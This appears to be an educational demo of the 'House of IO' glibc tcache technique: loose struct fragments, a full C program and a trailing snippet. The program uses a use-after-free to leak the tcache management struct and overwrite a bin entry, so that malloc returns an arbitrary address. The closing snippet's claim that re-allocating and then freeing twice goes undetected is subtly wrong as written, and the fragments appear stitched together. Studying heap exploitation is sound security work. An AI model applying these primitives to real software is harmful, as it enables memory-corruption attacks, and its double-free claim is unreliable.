House of IO

tcache_entry {
  struct tcache_entry *next;  // +0x00: Next chunk in freelist
  struct tcache_perthread_struct *key;  // +0x08: Pointer to tcache struct!
};

e->key = tcache;  // tcache = address of tcache_perthread_struct

if (e->key == tcache)  // Already in tcache!
  abort();

#include <assert.h>
#include <malloc.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

unsigned long global_var = 1;

struct overlay {
  uint64_t *next;  // +0x00
  uint64_t *key;   // +0x08 ← This will receive tcache pointer!
};

struct tcache_perthread_struct {
  uint16_t counts[64];   // +0x00: Counters for each bin
  uint64_t entries[64];  // +0x80: Freelist pointers
};

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  puts("In House of IO we make use of the fact that a free'd tcache chunk");
  puts("gets a pointer to the tcache management struct inserted at the");
  puts("second slot.\n");

  puts("This is the use-after-free variant: if the free'd struct has a");
  puts("pointer at offset +0x08 which can be read from and written to,");
  puts("we can manipulate the tcache management struct to return an");
  puts("arbitrary pointer.\n");

  printf("Target: we want malloc to return pointer to global_var at %p\n\n", 
         &global_var);

  // ========== Step 1: Allocate struct with pointer at +0x08 ==========
  puts("Allocate a struct with a pointer at offset +0x08\n");
  struct overlay *ptr = malloc(sizeof(struct overlay));

  ptr->next = malloc(0x10);
  ptr->key = malloc(0x10);

  // ========== Step 2: Free to get tcache pointer ==========
  puts("Free the struct to get a pointer to the tcache management struct\n");
  free(ptr);

  // ========== Step 3: Read tcache pointer (UAF) ==========
  printf("The tcache struct is located at %p\n\n", ptr->key);
  struct tcache_perthread_struct *management_struct =
      (struct tcache_perthread_struct *)ptr->key;

  // ========== Step 4: Manipulate tcache metadata ==========
  puts("Now we can manipulate the tcache metadata.\n");
  
  puts("First, ensure the counter is > 0 for the first bin.");
  puts("(In our case not necessary since we freed the overlay struct,");
  puts("but shown for completeness)\n");
  management_struct->counts[0] = 1;

  printf("Before overwrite, tcache bin contains: %p\n", 
         management_struct->entries[0]);
  printf("(This is the same as our freed struct: %p)\n\n", ptr);

  puts("Overwrite the tcache entry with target address\n");
  management_struct->entries[0] = (uint64_t)&global_var;

  printf("After overwrite, tcache bin contains: %p\n\n",
         management_struct->entries[0]);

  // ========== Step 5: Get arbitrary allocation ==========
  puts("Allocate from tcache to get arbitrary pointer\n");
  uint64_t *evil_chunk = malloc(0x10);

  printf("malloc returned: %p\n", evil_chunk);
  printf("global_var is at: %p\n\n", &global_var);

  assert(evil_chunk == &global_var);
  puts("Success! malloc returned pointer to global_var\n");

  return 0;
}

// Allocate and free into tcache
char *a = malloc(0x20);
free(a);

// Read tcache pointer
tcache_perthread_struct *tcache = *(void **)(a + 0x8);

// Allocate it back
a = malloc(0x20);

// Key is now cleared, can double-free
free(a);
free(a);  // No longer detected!

// Now two entries point to same chunk